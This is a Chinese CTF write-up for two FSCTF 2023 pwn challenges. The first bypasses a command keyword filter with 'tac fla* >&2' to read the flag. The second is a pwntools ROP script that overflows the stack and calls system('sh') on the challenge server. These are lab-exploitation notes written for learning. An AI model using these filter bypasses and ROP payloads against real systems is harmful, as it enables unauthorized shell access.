[FSCTF 2023]nc
file一下,64位,ida打开
关键函数部分:检查用户输入的命令中是否包含"cat"、"flag"、"sh"或者"$0"这些关键词,如果包含,则输出"invalid command";否则关闭标准输出,然后调用backdoor函数。
在backdoor函数中system(a1);存在,a1是buf也就是输入的
我也是看了wp才知道的,还得多练
直接 nc node4.anna.nssctf.cn 28229
然后输入 tac fla* >&2
NSSCTF{a770d1d9-5628-484e-8cf5-b98fdbe3a207}
简绍一下 tac fla* >&2
"tac"是一个用于逆序输出文本文件内容的命令,"fl*"是一个通配符模式,代表以"fl"开头的文件名。">&2"是重定向语法,将命令的输出重定向到标准错误。
标准错误(Standard Error,通常缩写为stderr)是计算机操作系统中的一种输出流。它用于将程序或命令执行过程中产生的错误信息输出到屏幕或日志文件中,以便进行错误诊断和调试。
总结来说,标准错误是用于输出程序或命令执行过程中的错误信息的流,它与标准输出相互独立,可用于错误诊断、调试和记录错误信息。
[FSCTF 2023]rdi
64位
开启NX
审计代码,发现在main函数存在栈溢出
在gift函数存在system函数
sys函数地址
ret, rdi地址ret这里不用
检索到sh(和binsh作用一样)
from pwn import *
i = remote("node4.anna.nssctf.cn",28597)
pwn= './rdi'
elf = ELF(pwn)
rdi_addr = 0x4007d3
sys_addr =0x4006FB
bin_sh = 0x40080d
# ret = 0x400546
payload=b'a'*(0x80 +8) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
i.sendline(payload)
i.interactive()